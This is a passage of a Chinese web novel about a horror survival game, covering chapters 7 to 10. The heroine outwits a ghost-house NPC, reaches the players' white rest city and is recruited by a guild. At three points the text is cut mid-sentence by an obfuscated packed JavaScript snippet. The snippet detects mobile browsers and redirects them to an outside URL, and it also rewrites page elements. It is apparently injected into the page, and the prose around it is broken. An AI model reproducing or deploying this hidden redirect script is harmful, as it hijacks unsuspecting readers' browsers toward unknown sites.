林屿走在最后,因为她在回房间之前做了一件事情,她去了厨房,装满一大碗加了肉菜的面条放在门口,又成为差点被黑暗吞没的那个人。 不过这次她没有再受到攻击,黑影小丽只是静静地看着她跑回去。 拖曳声在房门前停下,静止了一会儿,细听还有“吸溜吸溜”的响动。 林屿收到通知:“小丽好感度+20,她接受了你的示好。” 这是林屿收到的最大笔好感度进账,对比白天小周甩过来的1好感度,她甚至有一点感动:小丽真是一个慷慨的鬼啊…… 小周又不请自来地坐在梳妆凳上,昏暗光线下他轮廓深邃、睫毛纤长、美貌惑人,但林屿想到他对好感度的抠搜,心中没有一点波动。 “你该交房租了。”她说,“现在可以说说你们和小丽之间发生了什么事吧。” 小周这回没有顾左右而言他或者附加要求,“简单来说,就是小丽的死和我们有点关系,但并不是直接关系。” “可小丽不这样认为,她的样子可是在说你们都是仇人。”林屿道。 “因为罪魁祸首就在我们之间啊。” “是谁?” “我不能说,说了就违反规定了。但我可以说一说发生了什么事情。” 小周翘着二郎腿,双手交叉放在腿上,摆好姿势后再继续开口,“我们之间有人隐瞒了自身情况骗婚小丽,在这过程中其他人不知道情况助推了一把,不久后小丽发现了真相把事情捅出来,但我们没有一个人为她说话,后来她离婚不成功精神恍惚被车撞死了。” 林屿:“你难道一点愧疚之心都没有吗? “我是最没有参与度的一个人了。”小周说,“我没有帮任何人,只是保持了沉默。” “在走投无路的时候,本可以帮忙的人选择冷眼旁观,本知道内情的人保持沉默。”林屿叹了口气,“有时候沉默本身就是参与。” “……我不知道还有这个说法。”小周说,“不要用这种眼神看着我,我本来就——” 他忽然停住了,林屿以为他发现了什么,警觉地看向门缝和镜子,但两个地方什么也没有,她转过头问:“怎么不说了,本来就什么?” “……本来就不知道。” 林屿直觉他本来要说的不是这句话。 “还可以有补充的细节吗?”林屿问。 “你求我啊。”自觉已经付清住宿费的小周开始趾高气扬,“求我我就告诉你。” “哦。”林屿面不改色地把手放在了门把手上,“你猜开门后你先被追杀还是我先被追杀。” 小周的气焰顿时萎靡下去,似乎连上翘的头发丝都在往下耷拉,只有金棕色的眼睛还在黑暗里反射着微光,“其实我特别愿意告诉你了,真的。” “那你说啊。” “离婚申请、保险单、精神鉴定。”小周一股脑地甩出三个关键词,“就这些,不能再说了。” 林屿获得想要的消息后,心思就放在了门外,今夜格外地热闹,“砰砰”声,喊叫声,桌椅翻倒声时不时地响起,似乎在梦里都没有停歇。 林屿照例打发小周蹲板凳,只是在睡着之前又收到了他幽幽的催促:“我的最后一样东西你明天一定要找到,千万别偷懒,破例提示你:在客厅。” 急了急了,他急了。 第二天醒来门外的吵闹无比,开门后她简直以为昨晚二楼暴风过境,满地都是碎屑破烂,走廊上又被砍烂了三扇门,地上什么都有,衣服、板凳、枕头,甚至还有一半衣柜门。 干瘦男人气急败坏地从破烂房门里走出来,嘴里骂骂咧咧:“该死的!该死的!”他阴鸷的眼神在林屿身上停留了一会儿,看得她暗自戒备时又甩手下楼了。 林屿听见哭声,就见一间破开的房门里周琪琪抱着一条短裙抽噎着,她看见来人,泪眼朦胧地问道:“为什么……” “你们昨天刷了多少好感度?”林屿问。 从她的回答中林屿发现原因所在,另一个女孩老王好感度刷得太多了,已经超过交掉两条线索物品的韩舒,排在第一位,而夜里四个NPC会分别来到自身好感度最高玩家的房间——这也是昨天他们就公开讨论过的猜测。 “呜呜,我好害怕,你为什么离我而去了……” 林屿听见周琪琪的哭喊,想到她们迟早也要知道这一点,现在也不怕说出来让她失去通关的进取心,索性就把这副本里没有真死亡这件事告诉了她。 女孩似乎也怔愣当场:“所以、所以泡泡不是真的死了,只是会被关小黑屋,我出副本就可以见到她了。” “确切地说,是可以见到她,但我不确定会被关几天,你可以问一问韩舒,他是老玩家。” 周琪琪擦掉眼泪,眼里有了希望的光,“谢谢你,对了,这条线索给你。” 她捡起地上的纸条。 正巧剩下的玩家都走了过来,周琪琪拉着韩舒去了一边提问,黑裙女人和杀马特凑了过来,一同浏览了纸上的文字。 “她说有人一直跟着她,死死地盯着她,我安慰说是她的幻觉,但我心里清楚,是我那乡下女人在帮我看管她。” 这条信息直指关键人物,林屿一下子就有锁定两个人选。 大吴有一张乡间照片,而老王最近要回家,他的车票目的地是一个镇。 可知道这个真相有什么用呢?玩家是靠着刷好感度离开的啊,难道……并不是所有好感度最高的人都可以离开? 看纸条的三人都没有说出自己的猜测,黑裙女人现在也不复先前的从容,她一夜没睡,昨天她的房门也被破开,虽然她的技能能够形成一个防御墙,但不能持续很久,小郑看到门外黑影破门进来就跑了,辛辛苦苦刷了两天的好感度全部清零。 幸好玩家只是附带的攻击对象,不然她也会被淘汰。 她和干瘦男人的房间就在隔壁,昨夜听到他与黑影在房间里来回噼里啪啦打斗了一会儿,他肯定没发现自己那个NPC早就跑了,所以后半夜一直在摔东西骂骂咧咧,听着让人心烦。 她对第一夜被盯上却神奇地守住了门没被破开的那 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“我总觉得,虽然我们逃出去要靠那4个NPC,但是一味刷他们好感度不是什么好事。”林屿环视一圈,压低声音说道。 “一方面,他们本身就是犯下错误的人,另一方面……刷高好感度什么下场你也看到了,而且活下来那两个玩家似乎很急,就像——” “就像什么?”韩舒也十分疑惑。 “就像第一天来到这里一样。” 韩舒惊讶道:“难道他们失忆了?” 林屿无语地看了他一眼,“他们可能好感度降低了,甚至降到了零,现在都在着急地找线索物品。” 韩舒恍然大悟,他不可置信地说:“你怎么想到的!” 林屿微微一笑,因为第一天我的好感度就降到了零。 说起来第二天晚上她也收到了同样的任务,现在正好查看一下完成情况……呵,男人。 依然只得到了一半的分数,看来小周两天都很不愉快啊。 “今晚是最后一晚,我不知道情况会不会一样,但是像今天这样,没有阻止NPC破门的话,已经刷好的那4个人的好感度会骤降。” “高好感度也意味着高风险。” “就像炒股一样吗?”韩舒形容道。 林屿琢磨了一下还挺像,“是的,你还不知道夜里NPC到来后系统会发布任务,完成后直接加30好感度,相当于三件线索物品的价值了。但如果不幸被查房,守不住门就会有很大的损失。” “所以你两天加了60好感度!”韩舒惊叫道。 林屿摸了摸鼻子,“只加了30。” 韩舒痛心疾首,“可惜啊,怎么只完成了一天的……” 林屿:“……”其实一天都没有完成,都是系统送的半价。 “好了。”她正色道,“你现在没有事的话正好帮我个忙,帮我找三样东西。” “哪三样?” “离婚申请、保险单、精神鉴定。”她照搬了小周的话。 8. 第八章 书房里堆满了各种职业书籍、打印的材料、散乱的纸张和大大小小的文件,虽然其散乱零落的样子表明已经有玩家搜过好几遍,但如果不是得到提示,根本不知道哪些是有效信息。 两人合力翻找了大半天,终于从浩荡的白色海洋中发现了离婚起诉状和精神鉴定,林屿首先拿过起诉状,纸张有些地方被大片污渍覆盖,看不清被告姓名。 倒是能看见原告是小丽,以及起诉缘由:对方在老家已结婚有孩子。 可这个申请竟然被驳回了——被告并没有犯重婚罪,过去与别人办酒席并不是被法律承认的婚姻,即使有私生子也无法证明夫妻关系破裂。 而鉴定书则写得清清楚楚: ……自述走夜路的时候听见两个人的脚步声……睡觉时能感受到目光,有时发现窗帘后藏着黑色的人影……总是莫名丢失东西……怀疑家里多了一个人…… ……症状幻听、幻视……鉴定为精神分裂症。 可第一遍搜寻里没有发现保险单的踪迹,如果再找一遍还需要花费大量的时间,林屿决定先找找小周的物品,毕竟他两次提到过,或许有什么特殊,找文件可以晚一点再继续。 回房间放好文件一出来,林屿便遇到了找她的黑裙女人,她终于找到了一件线索物品:老王的手办盲盒。 一个没有拆封的动漫人物盲盒,老王送给儿子的礼物。 她知道自己在老王好感度上没有优势,用这个盲盒交换了小郑的西装。 儿子的礼物! 林屿拿着这个盲盒,皱紧了眉。 而被林屿赠送盲盒的韩舒顿时惊叫道,“卧槽,凶手竟然是我的攻略对象!果然老王这个名字不简单啊!” 他纠结道:“那我还要刷他的好感度吗?” “看你,我觉得可以刷,如果你不想的话我可以把大吴照片换给你。”林屿征询韩舒的意见,却见他瞪大了眼睛,喉咙里迸发一声尖叫: “快逃!” 耳膜捕捉到异样风声的一瞬林屿就蹲下了,一个拳头擦着头顶的发丝打过来,干瘦男人阴沉的脸在眼前放大,拳头打在二楼护栏上,几乎立刻击碎了木头,迸溅的碎屑在林屿脸上留下一条血痕。 “把照片交出来!”干瘦男人吼道,见一击不成,他握紧拳头重重砸下,林屿慌忙闪开,木质地板被轻易砸出大坑。 闪躲间林屿受到不少擦伤和撞伤,眼看着干瘦男人的攻击没完没了,而自己的动作越来越受到限制,她索性看准时机,使用了一点飞行技能直接跳着挂到了大厅的吊灯上。 吊灯摇摇欲坠,承受不住重量般发出嘎吱响声,林屿身体随着吊灯往下一沉,干瘦男人猛地扑过来,却扑了个空落到一楼大厅,而林屿则又跳回了二楼。 她发现,技能似乎可以计次消耗,这样一点一点使用能够坚持更久的时间。 就这样你追我躲了好一阵子,消耗殆尽用不出技能的干瘦男人终于明白这个从一开始就看不顺眼的新人是个硬点子,他恶狠狠地瞪了林屿一会儿,终于转身进了自己的破烂房间。 这时林屿发现,在刚才的攻击中二楼地板和栏杆都已经坑坑洼洼,唯有门仍然保持原本的状态,给自己捏了一把汗。 幸好他破坏不了玩家的房门,应该只有夜晚的小丽能办到这一点。 不然自己早就被入室抢劫了,他肯定试过,而且刚才他一直堵在自己的房门附近。 韩舒从自己的房间里探头探脑,发现危险过去后,他一溜烟跑到林屿身边拍拍胸口,“吓死我了,他的技能肯定是增加力量,竟然还能持续五分钟,怪不得表现得那么拽。” “刚才不好意思,因为我根本帮不上什么忙,而且强行凑过来肯定被一击KO。” 说完他用极其佩服的目光看着林屿:“如果目标是我我就被淘汰定了,没想到你竟然如此深藏不露!”他压低声音:“你学过武术吧?” 林屿没想到自己的技能竟然还被这样误会,但正合她意,记得韩舒说过从未见过第一个副本就觉技能的玩家,她并不想表现得十分异常,于是含糊地点头。 “……嗯,说起来你也有技能吗?” 韩舒摸摸鼻子,“这个……说出来挺不好意思的,其实我有技能,但不是攻击性的,也很难派上用场……” 他拿出一张纸,“我可以和副本里的同伴联络,但尴尬的是这回没人和我一个副本……” “但如果有同伴的话用处很大呀?怎么能说没有用呢?”林屿道,“不过,直接告诉我没关系吗,这应该是很需要保密的内容。” “没关系,我正要和你说这件事,我想邀请你加入我们的组织‘救济者联盟’。” “救济者联盟?就是那个种植者都跑光了的组织?”这时黑裙女人走出房间,对林屿说道,“救济者联盟连成员保障都做不好还做慈善,与其去救济者联盟,不如来我们‘黑蜘蛛’,我们有3位种植者,至少可以保障每个成员2天的食物供应。” 所以她这是同时收到了两份公会邀请? 林屿问道:“种植者是什么?” 韩舒插话道:“种植者是指觉醒的技能与培育植物有关的玩家,出了副本我们就需要正常饮食,而通关一场副本的积分只够玩家在系统商城兑换5、6顿食物,还是顿顿吃不饱的那种,而如果有种植者帮忙,就可以让安全区的停留时间延长。” “有时副本里能带出来一点种子,种植者能够让种子迅速长成粮食、蔬菜或者水果,也因此成为最受欢迎的玩家群体。” 他最后反驳黑裙女人的抹黑:“我们组织还是有种植者留下的,虽然供应不太稳定,但是、但是我们组织是最适合你来的地方!” 黑裙女人无所谓地听着韩舒的强词夺理,对林屿道:“你考虑清楚,他们的成员要无偿做慈善。” “不是慈善,是在救人!”韩舒说。 林屿谨慎地说道:“我也未必会加入组织,出了这个副本再说。” 黑裙女人点头,“好,出了副本给我答案。” 她好像并不怕出副本后找不到人。 林屿一边戒备干瘦男人的突然袭击一边在客厅翻箱倒柜,寻找小周的线索物品。韩舒自从被黑裙女人嘲讽过之后就像一个牛皮糖一样黏上了她,似乎特别担心她选了其它组织。 “我给你说,我们组织的氛围那叫一个好,团结友爱和谐向上积极健康,不收成员积分不强制游戏不约束自由,还能每天提供一碗白米饭!” “听起来似乎不错。”就是他的行为很像在发展下线,似乎是生怕放跑了她这颗白菜,而且每天一碗白米饭?听起来似乎特别贫穷。 林屿一边摸索着沙发夹缝一边应付着。 韩舒更加来劲,“所以一定要加入我们组织啊!” “可我还是觉得有保障的组织更好。”林屿这样说着,俯下身摸索着沙发底部,总感觉这里有些凹凸不平。 韩舒顿时着急起来,“你选择我们这边一定没错的,因为我们这里是……”他顿了顿,“总之出副本来见一见我们的成员就知道了,这个总可以吧?” 林屿:“可以。” 她终于找到了想要的东西。 车钥匙:一把沉甸甸的车钥匙,他的车栽过了数不清的女孩。 小周真的很可以的,要不是觉得他没有那个智商,按照这个描述他也有很大嫌疑。 “对了,你想好了吗,刷谁的好感度?”林屿在问他要不要用大吴的照片。 韩舒刚要回答,忽然异变突生。 一瞬间,林屿什么也看不见了。她听见有人在叫喊。 “天黑了!天黑了!” 这声音不属于任何一个玩家。 林屿根据记忆躲到沙发边,静静等待视力的恢复,待能看见一点东西了,她被眼前的情况吓了一大跳。 屋子里除了大门以外所有房间的门都黑洞洞地敞开,就像一片幽深的漩涡,剩余的玩家惊恐地缩在角落里躲避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是说带好感度更高的玩家走吗?你不遵守规则!” “错了,我就是遵守规则,手表是最重要的物品,可以加20的好感度,而你只有10。”小郑戴上手表,拨动着时间的指针,身影渐渐虚幻。 干瘦男人和他站在一起,得意地瞧着黑裙女人。 可他的表情凝固在此刻,从额头到鼻梁到下颌脖颈,出现一丝逐渐加大的细细黑线。 黑裙女人脸色骤变,惊恐万分地逃离原地。 只见一柄斧头落在干瘦男人的双脚之间,从上到下将他砍成了两半。不知何时惨叫声已经停止,小丽解决掉大吴,一个飞跳落到斧头前,浓郁的黑气让她显得越发阴森可怖。 “打偏了啊。”小丽神经质地喃喃自语,“还是说,不愧是和他同流合污的鬣狗,就是躲得快。” “你敲诈了那笔钱,可是帮大吴洗脱了嫌疑啊!” 她声调逐渐高亢,拖着斧头又开始追逐逃窜的小郑。 林屿知道,自己时间不多了。 小周也正躲到这里,对她说:“我的车钥匙呢?” “在我这里。” “还不快给我,刚看到老王已经离开,下一个就轮到我了!” 林屿捏着钥匙没动,她终于搜寻到周琪琪躲藏的位置。 “你可以带几个人离开?用车钥匙?” “我知道你在想什么,但我最多带一个。”小周说。 “好吧。”林屿在说话时间逐渐挪到躲在椅子下的周琪琪旁边,“你带她走。” 小周并不在意带谁离开,“你确定?可以,快把钥匙给我!” 拿到钥匙后小周身边显现出一辆车来,他打开车门对周琪琪说:“快点!” 林屿把周琪琪推上车,可女孩拉住她的袖子,“姐姐,你怎么办?” “放心,我有办法。”林屿说。 9. 第九章 小周只差上车就能逃脱生天,他终于有了几分心思讲点别的,比如嘲笑林屿:“我就没见过你这样愚蠢的人,浪费通关的机会非要失败。” “你不是说副本里不会死亡吗?”林屿慢慢来到他面前,她还记得最开始就是他告诉的这个消息,而且他故意隐瞒了失败会进小黑屋的事。 “但也不是什么好事。你以为她现在这个样子会念你给她示好吗?再见了,希望下个世界你能长点记性。”车已经逐渐变得透明,小周面对着林屿,从背后拉开车门,忽然感觉重量不对。 就在他疑惑的时候林屿嗖地一下蹿过去,抢先坐进驾驶位,“再见了,希望下个世界你能长点记性。” 等小周丢掉挡在他和车之间的椅子扑过去的时候,车正好完全消失,他一下子扑倒在了解决掉小郑正拖着斧头缓缓走来的小丽脚下。 小周:“……” 小周:“你这个狡猾、卑鄙、无耻的人类!我记住你了!” 他闪过劈空而来的攻击,从地上捡起遗落的手表,灵活地躲藏着,不断靠近小郑被砍碎的身体,似乎拿过什么东西,他在表盘上拨弄几下,身影渐渐变淡。 林屿眼前是一片片刺目的白光,等她重新睁开眼,依然只看到纯白的世界。 眼前是白色的地面白色的楼,身后是白色的光圈和白色的塔,旁边是脸色惨白的人。 韩舒心有余悸地坐在地上,他不幸从二楼看见了干瘦男人被劈成两半的一幕,尽管知道玩家在副本内受到的伤害不会带出来,也不是没见过鬼怪杀人的场面,但每一次都会因血腥惨状留下恐惧的阴影。 林屿左边是韩舒,右边是周琪琪,他们三人在光圈边上站得极近,林屿一下子明白为什么黑裙女人不担心出副本找不到人,看来是同一个副本的玩家会被传到一处。只是她似乎忘了什么。 她抬头看着被光圈围在中央的白色高塔,那么,没有成功通关的玩家会在塔里吗? 韩舒恢复一点元气后连忙拉着林屿和周琪琪离光圈远了些。 “别碰那个,会又被传进副本的。” “所以我们进出副本都是通过这个光圈?”林屿问。她看见周围不断有玩家进入光圈,又不断有人从光圈里出现。 “对。” “那个白塔是什么?” “白塔啊……”韩舒看了眼身后,“严格来讲没有人知道里面什么样子,但是所有人都怀疑——那里是小黑屋,也就是惩罚失败、死亡和被淘汰玩家的地方。” 周琪琪闻言顿时追问,“那泡泡……” “她正在小黑屋,不过死亡惩罚比较重,会关7天,时间以我们在白城——就是玩家休息区为准。失败或淘汰惩罚轻一点,大概3天的样子。” 林屿准确抓住重点,“所以我们在副本的时间和这里时间不一样?” “是的,副本时间不能作为参考,每一个副本相对白城的时间流速都不一样,而且都比在这里快很多,副本的三天可能这里只过去一个小时。”韩舒解释着,他这才发现周围只有他们三个人,顿时惊讶地问林屿,“你们后面发生什么了?” 林屿简单描述了一下,韩舒张大了嘴巴:“从来只看到NPC压榨欺骗玩家的,你竟然狠狠坑了NPC,真是太厉害了!你一定要来我们组织啊!” “对了,我这就带你去我们组织!琪琪也一起来吧。” 林屿这时终于想起自己忘记了什么,连忙问周琪琪:“最后你有没有看见萧谷亮,就是那个杀马特在哪里?” 周琪琪回忆了一下,“好像……我模模糊糊看见一个人被NPC撞到黑色漩涡里了,不知道是不是他。” 林屿:“……”只可能是他了,这也太倒霉了吧,之前两夜都没有被查房还以为他运气极好,没想到…… 几人为杀马特遗憾了一会儿,在进入白城之前,韩舒提醒两人:“可以把手环收到背包里,新人容易被跟踪。” 林屿照做,她现在已经换回原本的装束,看着一身家常便服,她想着能不能有地方买衣服,也就这么问了韩舒。正巧周琪琪也想知道这一点。 “衣服的话,可以在系统商城里买,只是会很贵,我建议可以找一找玩家,有些玩家在副本里带出了衣服,用不上的会售卖出去。”韩舒说。 “啊?那我岂不是错过了一个亿。”她在副本里的衣柜!那么多衣服都没有试过能不能带出来。 “如果是刚才副本里衣服的话,至少我遇到的都不能放背包。”韩舒像是明白她的想法一样,“在新人时我也常常遗憾错过好多搜物资的机会,但实际上就像大海捞针,能找到的都是少数。” “走吧,先带你们去街区。你们看看有多少积分?” “我有195。”周琪琪说。 “170……等等,不是一开始说奖励200积分吗?”林屿惊讶地发现自己结算的积分比最开始通知的要少,“那个随机礼包能开出什么?” “一般是一些水——需要自己烧开不然喝了拉肚子那种,运气好可以开出吃的。”韩舒回答。 “扣分……之前忘记说,在副本里受伤了会在结算被扣分,伤得越重扣得越多。” “这也太坑了!”林屿和周琪琪异口同声。 “谁说不是呢?” 韩舒感同身受,“游戏在用这种方法逼我们进本,包括食物短缺也是。饿了就只有进本挣积分兑换食物,或者找物资获得食物,白城虽好,但不进副本就会饿死。” * 玩家休息区——白城名如其实,就像一座雪花堆成的城市,无论是街道、建筑还是其它什么都是同样的不知名白色材料,看久了甚至会感觉眼睛刺痛。 韩舒领着两人穿过一片热闹的街区,许多人沿着街道摆摊售卖东西,大多数是食物,还有一部分卖衣服的,只有很少一部分售卖其它的东西。 韩舒对一个少年打招呼:“小向还在摆摊呢,庄叔呢?” 少年表情深沉地叹了口气,“他闲不住,又进本搜刮了。” 林屿的目光在他面前摆放的青菜上流连,又听韩舒说:“前段时间多亏了你帮忙,我们这批粮食快要收获了,到时候按照约定把你的部分给你。” 等走远以后,韩舒和两人解释,“他叫任向,才10岁就被这个破游戏拉进来了,幸好觉醒了种植者系的技能,还遇到一个厉害的人,所以不用加入什么组织也不愁饭吃。我们组织的种植者和他的技能正好互补,所以经常合作种植东西,保障成员福利。” “那作为成员有什么义务呢?”林屿问,组织发放福利的话,那一定有想要成员做的事。 “人品过得去,不出卖组织的信息,不故意坑其它玩家就行。其它没什么。”韩舒说,“因为我们一开始只是现实里认识的人组建的小团体,也只是为了让大家能在副本外安心休息几天不愁吃,可是后来随着各自技能的觉醒,还有前段时间的变故,许多人出去另谋发展。” 韩舒先带着两人到熟人那里挑衣服,林屿打开系统商城对比了一下价格,果然玩家那里的东西都要便宜一些,系统里有些东西简直贵死人,她这点积分就够配齐一套衣服的,一碗饭就要30积分,肉菜两倍起步,无伤通关1次副本的200积分就够撑2天。 林屿觉得,这个游戏非常希望玩家不断进本。 选完衣服,韩舒带着两人来到一幢普普通通的白色建筑,用钥匙打开大门上到二楼。二楼被打通布置成多功能活动室,放着许多白色的桌椅,甚至还有白色的沙发。 一切家具都是白色的。 韩舒解释说:“这里原本什么家具都没有,都是就地取材做的。” “注意在这里千万不要打架斗殴,休息区就这点好,不允许玩家互相攻击,违反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495251|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的会被关小黑屋。” 他让两人在大厅等候,自己上了楼。 林屿观察着四周,角落里三个壮硕的男人打着扑克,一扇门打开了,走出了皱着眉的韩舒,在开关门的间隙一片金灿灿的麦浪映入眼帘。 韩舒看见她们两人,走到近前来,林屿观察他的神情似乎不太对劲,以为组织首领不同意她们加入,正要起身离开,却听见他问: “你们是谁?” 周琪琪也是一脸惊讶:“你不认识我们了吗?” 林屿忽然发现他和之前的韩舒穿的不是同一身衣服,警惕地挡在了女孩前方:“你不是韩舒。” “我就是韩舒。”他忽然舒展了眉头,变得友善起来,“你们是不是被一个和我长相一样的人带过来的?她又忘记告诉你们了。” 林屿保持着警戒,问道:“可以解释一下怎么回事吗?” “意识不错。”他称赞一句,对着两人身后示意,“让孟锦竹告诉你吧。” 韩舒和另一个高他一头的女子站在一起。他看见另一个自己,惊叫了一声:“哎呀!我忘记说了!其实我不是韩舒。” 经过一番手忙脚乱的解释,林屿总算明白了原委,原来她在副本里遇到的韩舒是孟锦竹,她的技能是变化成别人的样子,而在副本里告诉林屿的技能是属于韩舒的,但前段时间不知为什么变化的能力忽然失控,变不回自己,必须维持着别人的脸,索性借用了身高最近似的韩舒的形象。 听到这里林屿微妙地瞄了一眼韩舒,在心里认同了她的话。 他们叫来其他成员安顿好周琪琪,却单独拎出林屿上楼到了一个安静的房间。 “你们这是……”林屿疑惑地问面前的三人。他们像是有什么话要说,不过并非心怀歹意的样子。 “你是A大的学生吗?”说话的是韩舒旁边的高挑利落女子何芝,救济者联盟现在的管理人。 “这和现实的身份有什么关系?你们了解这些做什么?”林屿皱眉。 “不要误会,因为我们需要确认你的身份。”假韩舒——孟锦竹说道,“你不记得了吗,我和你公共课小组组队过呀!” 林屿仔细回想,好像确实对这个名字有几分熟悉,不过公共课的同学本就没见过几面,即使一起组队完成作业也没能留下深刻印象。 他们针对学校里的事问了一些问题,林屿见不是与自身信息有关也就如实回答没有说谎。 最后,韩舒终于确定了她A大学生的身份属实,开始为她解释。 “其实我们团体最开始的首领是A大言教授,我是他的学生,何姐是追查失踪案的警察。” 林屿震惊地看向他们。 韩舒不疾不徐,继续说道:“我和言教授在一次发掘考察的过程中,和当时的挖掘团队一起被拉入游戏,言教授一直在寻找破解游戏回到现实世界的方法,但过程十分艰难,团队里许多人看不见希望脱离了我们去了福利更好的组织。幸运的是,后来我们遇到怀有同样信念的何警官,教授综合我们现实世界的遭遇猜想到了一些东西。” “但就在我们有所发现的时候,游戏世界突然出现动荡,白塔忽然坍塌一半,那个时候在小黑屋的所有玩家都没有再出来,而当时教授也在那里。虽然后面一切回到正轨,所有人都觉得小黑屋的那批玩家已经死亡,但我们仍然没有放弃寻找。” “告诉你这些事情,是想问你,愿不愿意加入我们,一起寻找教授,找到脱离游戏的办法?如果你不愿意,依然是我们的一份子,假如我们找到了办法一样会带上你。” 林屿笑道:“听起来第二个选择更好。” “你可以仔细考虑一下。”何警官说,“如果选择加入我们的探索队,就明天来找我一起下本。” “……好的。”真是一点都没掩盖第一个选项需要累成老黄牛的事实呢。 10. 第十章 “我不明白,在还没有查明是谁走漏消息的情况下为什么还要让新人加入核心队伍。”韩舒跟着何芝来到休息室,转身关上了门。 何芝揉了揉额头,让韩舒在对面坐下,“我知道言教授出事,最难过的就是你,也清楚那次意外早不发生晚不发生,偏偏就在教授向我们透露情况,第二次进小黑屋的时候发生,而且波及的正好就是当时在小黑屋里的玩家。你怀疑我们之间有叛徒,也是合情合理。” “但是,我们并没有任何证据,也找不到现在组织成员的疑点,言教授出事之后又走了一批,现在当务之急是继续探索游戏,那些离开我们的队友也是因为对离开这里失去希望才忍不了这里的艰苦,希望找个福利好的地方,剩下的队友依然在坚持,我们不能让他们失望。” “可林屿是新人,我担心……”韩舒皱着眉,犹豫着。 “根据孟锦竹所说,林屿刚刚进入游戏,就在第一个副本表现十分出众,比许多老玩家都好,而据我的观察,她的适应力和情绪控制力极佳,这一类人在这里最不会贪恋安全区消极游戏,他们也是技能觉醒率非常高的群体,我们正需要这样的人加入。” “她的身份你已经确定了吧?” “确定了,来自A大无疑。” 何芝颔首,“虽然人有不同,但知道来处还是能让我们放心不少,如果她答应加入的话,下一个就是她的考察本。你放心,如果她是那种不顾队友或是藐视人命的人,我也不会接纳。” “你为什么这么着急呢,何姐。”如果之前的话是他明白的部分,那这个问题就是他不明白的地方,“我们团队刚经历了动荡,不是更应该韬光养晦、加强管理来恢复元气吗?为什么从那以后你每天都要进本,就好像、就好像……” “我们的时间不多了。” “什么!”韩舒以为自己听错了。 “你的技能,是不是也升级了。”何芝笃定地说着,“以前只有10页传信纸,现在可以用15页,前面那么久都不升级,偏偏就在这段时间。” 韩舒不明白:“这和我们的时间有什么关系?” “孟锦竹的技能也是在这段时间失控,而且你有没有发现,以前一个副本也遇不到两个有技能的人,而现在一个副本只有一两个人没有技能,而且在以前技能根本无法升级,而现在……不仅如此,游戏里失踪的人也变多了。” “就和现实里发生的事情一模一样。” 听到最后一句,韩舒不由寒毛直竖。 …… 林屿由孟锦竹——她仍然用着韩舒的形象,带着来到休息的房间。 “以后这里就是你的专属卧室了,放心,我们成员不会乱跑房间。” 林屿想了想,问道:“如果是没有加入公会的新人玩家,他们又会住在哪里呢?” 孟锦竹拉出一把椅子坐下来,让林屿恍然间有了小周的既视感,也不知道他是被小丽给嘎了,还是逃出了安心小屋,但林屿莫名有种感觉,他们还会再遇见。 “我知道你想问什么,没有加入团体的新人玩家,要么睡大街要么花积分住旅店——有组织专门经营这个,或者在远离白塔的偏远之地找没人住的房间。只是白城里虽然禁止互相伤害,但被偷东西是管不了的。 前两天还有玩家就是没有积分了在街上将就了一夜而且睡得太死,一觉醒来所有衣服不翼而飞,连裤衩都没剩下,最后是裸奔着进副本的。” 林屿惊讶得长大了嘴,“竟然还会发生这种事!” 她想了想,又问,“那如果是第一局就失败的玩家呢,他们没能获得积分,从小黑屋出来以后是直接来到休息区吗?到这里以后吃饭住宿怎么办?” 孟锦竹肯定了她的猜测,“出来以后也是来到休息区,如果没有找到加入的团体,吃饭住宿当然要自己解决,没有积分,就只有继续进本。” “可是他们刚刚经历惊悚可怖的副本,被杀死或者被淘汰,然后又被关到暗无天日的地方度过很多天,应该是受到惊吓还没有走出阴影的时候,这样的状态能够通关接下来的副本吗?或者说,他们会有勇气踏出进入副本的一步吗?” 孟锦竹苦笑,“但游戏就是这样规定的,难道还有别的办法吗?就算是通关,每次给的积分也不会涨,不仅不会涨,还会视情况克扣一些,通关一次的积分全部买饭也只够维持2天左右,这就是玩家里种植者为什么那么宝贵的原因。” “这个游戏似乎是在逼我们不停地过本啊……”林屿为惨淡无光的未来忧虑着,忽然想到之前她说的福利,“对了,你说救济者联盟会给成员每天一碗白米饭……” “天啊,你不说我差点忘记,这就去给你领回来。”孟锦竹从椅子上起身,“不过不是每天,是每三天一碗。” “可是你之前说每天。”林屿瞪大眼睛,感觉自己被虚假宣传骗了,就好像来到了虚报工资的黑工厂。 孟锦竹不好意思地摸摸鼻子,闪身出门,“哎呀……那不是我记错了吗,记成以前两个种植者脱离我们之前的了。” 出副本后折腾好一会儿的林屿终于感觉到肚子饿,她看着系统商城里100积分一条的烤面包流口水,看着自己今天消费后只够买一条面包还剩个零头的积分——那可是她拼死拼活冒着生命危险从副本通关挣的,明白了系统比玩家组织更黑的事实。 忽然她想到那个还没有开过的随机礼包,连忙翻出来,听说运气好能够开出吃的来,她盯着礼包上的蝴蝶结,心里带着无限希望拆开绑带——一包西瓜籽。 垃圾游戏! 吃着自己作为团队成员的福利米饭,林屿默默规划着积分看能不能撑过接下来的两天,最后终于在饿3顿还是饿4顿的选项间选择了放弃。 第二天她一大早就出现在了何芝面前。 “我决定了,和你们进本。” 白塔前的光圈传送机制经过玩家的不断摸索,已经找到了一些规律,比如两个人先后从同一个地点进入副本,便有很大概率被分到一起,不过也有失败的情况——比如之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 